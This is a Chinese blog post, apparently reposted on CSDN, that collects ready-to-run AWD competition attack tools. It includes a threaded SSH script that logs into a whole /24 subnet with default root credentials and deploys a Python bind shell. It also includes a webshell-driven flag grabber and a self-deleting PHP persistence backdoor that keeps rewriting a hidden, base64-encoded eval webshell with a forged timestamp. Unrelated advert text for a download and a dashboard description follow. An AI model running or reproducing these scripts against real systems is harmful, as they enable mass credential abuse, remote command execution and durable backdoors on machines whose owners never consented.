AWD攻防工具脚本汇总(一)

最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本

 

以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~

 

这里从各种情景和需求中去总结工具和脚本的使用

 

 

 

情景一 默认SSH密码批量反弹shell

官方在给出服务器密码时,很有可能是默认的,需要赶快修改自己的密码并尝试能不能登陆别人的靶机

#-*- coding:utf-8 -*-
import paramiko

ip = '192.168.1.137'
port = '22'
username = 'root'
passwd = 'toor'
# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd='ls'):
    port = int(port)
    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    ssh.connect(hostname=ip, port=port, username=username, password=passwd)

    stdin,stdout,stderr = ssh.exec_command(cmd)

    result = stdout.read()
    if not result :
        print("无结果!")
        result = stderr.read()
    ssh.close()
    
    return result.decode()
    
a = ssh_base_pwd(ip,port,username,passwd)
print(a)

 

执行命令可以是写webshell或着直接查看flag 并返回提交

这里献上自己写的批量ssh登录并反弹python shell

 

 

 

#-*- coding:utf-8 -*-
import paramiko
import threading
import queue
import time
#反弹shell python

q=queue.Queue()
#lock = threading.Lock()

# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd):
    port = int(port)
    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    ssh.connect(hostname=ip, port=port, username=username, password=passwd)

    stdin,stdout,stderr = ssh.exec_command(cmd)

    result = stdout.read()
    if not result :
        result = stderr.read()
    ssh.close()
    
    return result.decode()

def main(x):
    shell = '''
    #服务器端
    import socket
    import os
    s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.bind(('0.0.0.0',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接
    s.listen(5)                 #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
    con,addr=s.accept()     #接受一个客户端的连接
    #print(con,addr)

    for i in range(10):
        cmd=con.recv(1024)
        print(cmd)
        command=cmd.decode()
        if command.startswith('cd'):
            os.chdir(command[2:].strip())   #切换路径
            result=os.getcwd()      #显示路径
        else:
            result=os.popen(command).read()
        if result:
            con.send(result.encode())
        else:
            con.send(b'OK!')
    '''
    cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py'
    port = '22'
    username = 'root'
    passwd = 'toor'
    
    ip = '192.168.1.{}'.format(x)
    q.put(ip.strip(),block=True, timeout=None)
    ip_demo=q.get()
    #判断是否成功
    try:
        #lock.acquire()
        res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')
        if res:
            print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")
            #lock.release()
            ssh_base_pwd(ip_demo,port,username,passwd,cmd)
    except:
        print("[ - ]Ip: %s" % ip_demo +" is Failed")
    if x > 255:
        print("Finshed!!!!!!!!")
    q.task_done()
    
#线程队列部分
th=[]
th_num=255
for x in range(th_num):
        t=threading.Thread(target=main,args=(x,))
        th.append(t)
for x in range(th_num):
        th[x].start()
for x in range(th_num):
        th[x].join()
        

#q.join()所有任务完成  

 

情景二 dump源码

原因不说了 

scp -r -P Port remote_username@remote_ip:remote_folder local_file

 

情景三 利用shell批量getflag

在有批量shell后 需要连接shell 批量得到flag并提交

#!/usr/bin/python
#coding=utf-8
import sys,requests,base64,time

#利用一句话木马得到flag

#加载一句话地址的文件
def shell_list(filepath):
    #格式 http://192.168.174.128/test.php?x=
    #返回列表
    try : 
        with open(filepath,encoding='utf-8') as f:
            data = f.readlines()
            return data
    except : 
        print("File"+filepath+" Not Found!") 
        sys.exit()
    
def getflag(filepath):
    file = './flag'+str(time.time())[-5:]+'.txt'
    #加载shell地址
    list = shell_list(filepath)
    #访问 执行查看flag命令  linux就是cat
    cmd = "type flag.txt"
    getflag_cmd ="echo system(\"%s\");"%cmd
    for url in list:
        url  = url.strip('\r\n') + getflag_cmd
        try:
            res = requests.get(url=url,timeout=5)
        except:
            print(url+"[ - ] request timeout [ - ]")
        if res.content:
            content = str(res.content,'utf-8')
            try : 
            #把得到的flag存到flag文件再批量提交
                with open(file,'a',encoding='utf-8') as f:
                    f.writelines(content+"\n")
            except : 
                 print("写flag.txt文件失败!!")
                 sys.exit()
    print("[+] getflag sucessed! flag文件:" +file)
    return file

#批量提交flag
def sentflag(filepath,url):
    filename = getflag(filepath)#返回存放flag的地址
    #读取存放flag文件
    with open(filename,'r',encoding='utf-8') as f:
        flags = f.readlines()
        for flag in flags:
            links = url + flag.strip('\n')
            try : 
                res = requests.get(url=links,timeout=3)
                if res.status_code==200 :
                    print("[ + ] Send Flag  %s Success [ + ]") % flag
            except : 
                 print("[ - ] Send Flag Failed [ - ]")
                 sys.exit()
            
           
#第一个参数需要一个存放shell的地址,格式 http://192.168.174.128/test.php?x=    
#第二个参数需要提交flag的地址 例如http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx
filepath = './webshell.txt'
url = 'http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx'
sentflag(filepath,url)

 

 

情景四 批量利用一句话木马种植不死马

主要是用来权限维持

分享一个自己写的不死马:

 

<?php
 //qing@3389..
    error_reporting(0);
    set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
    ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
    unlink(__FILE__);     //删除自身

 $file = '.config.php';
 $code = base64_decode('PD9waHAgLy9lcnJvcl9yZXBvcnRpbmcoMCk7ICBpZihtZDUoJF9QT1NUWydwYXNzJ10pPT09JzU5Nzg5ODY1YzVhMTcyNzdmYmYxMWJjNjIzODI4OTYwJykgIEBldmFsKCRfUE9TVFsnY21kJ10pOyAgPz4=');
 while(true) {
     if(md5(file_get_contents($file))!==md5($code)) {
         file_put_contents($file, $code);
     }
     system('chmod 777 .config.php');
     touch(".config.php",mktime(20,15,1,11,28,2016));
     usleep(100);
 }
?>

 

 

 

 

 

 

附上批量访问生成不死马脚本:

 

 删除config马还是会一直生成 

 

 

顺便提下不死马的解决方式:

目前最有效的办法就是重启PHP服务器。

但在awd模式下,一般无权限,

可以通过不断复写shell.php来达到该木马难以被使用的效果。

 

转载于:https://www.cnblogs.com/-qing-/p/11182162.html

  • 7
    点赞
  • 66
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
利用 mvc 框架,显示和功能分离, 每次比的数据都放在到 games 里 ## 目录结构 ├── data # 框架运行所需要的持久化文件 ├── games ├── library │ ├── controller │ │ ├── common │ │ ├── defense │ │ └── exploit │ ├── models │ └── views │ │ ├── common │ │ ├── defense │ │ └── exploit │ ├── common │ ├── defense │ └── exploit ├── config.py ├── README.md └── requirements.txt ## 数据表结构 (语雀完善中) ### poc | 字段名称 | 类型 | 说明 | | :------: | :----------: | :----------------------------------: | | id | int | 索引(自增 id | | name | varchar(30) | 名称 | | type | int(2) | 类型 0 flag 1 webshell 2 systemshell | | os | int | 系统类别 0 php1 python | ### target | 字段名称 | 类型 | 说明 | | :--------------: | :----------: | --------------- | | id | int | 索引(自增 id) | | ip | varchar(30) | 名称 | | is_reach | | 类型 | | is_get_shell | | 系统类别 | | flag | | | | flag_create_time | | | ### 流量 | 字段名称 | 类型 | 说明 | | ---------- | ------------ | --------------- | | id | int | 索引(自增 id) | | message | varchar(30) | 名称 | | type | | 类型 (get post) | | host | | 系统类别 | | source_ip | | | | create_ime | | | -------- 该资源内项目源码是个人的毕设,代码都测试ok,都是运行成功后才上传资源,答辩评审平均分达到96分,放心下载使用! <项目介绍> 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习,也适合小白学习进阶,当然也可作为毕设项目、课程设计、作业、项目初期立项演示等。 3、如果基础还行,也可在此代码基础上进行修改,以实现其他功能,也可用于毕设、课设、作业等。 下载后请首先打开README.md文件(如有),仅供学习参考, 切勿用于商业用途。 --------
实现一个 AWD(Attack With Defense)攻防可视化大屏,需要对数据的采集、处理、可视化等多个方面进行设计和实现。 以下是一个基础的可视化大屏应该包含的模块: 1. 地图模块:展示攻防双方的位置及行动轨迹,可以使用地图 API 实现地图的绘制和交互。 2. 实时数据模块:展示当前的比分、时间、队伍状态等信息,需要实时更新。 3. 任务模块:展示攻防双方的任务状态,包括已完成任务、正在执行任务和未完成任务等。 4. 操作记录模块:展示各队伍的操作记录,包括攻击、防御、扫描等操作,可以通过图表或列表的方式展示。 5. 安全情报模块:展示攻防双方的安全情报,包括漏洞信息、网络拓扑等。 6. 日志模块:展示攻防双方的日志信息,包括攻击日志、防御日志、系统日志等。 7. 评分模块:展示攻防双方的得分情况,包括进攻得分、防守得分、总得分等。 上述模块可以使用各种可视化工具进行实现,例如地图模块可以使用百度地图 API 或者高德地图 API;实时数据模块可以使用 WebSocket 实时推送数据;任务模块可以使用图表或列表展示等。 总体来说,实现一个 AWD 攻防可视化大屏需要进行多个模块的设计和实现,需要对数据的采集、处理、可视化等方面进行综合考虑,才能实现一个高效、美观、易用的可视化大屏。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值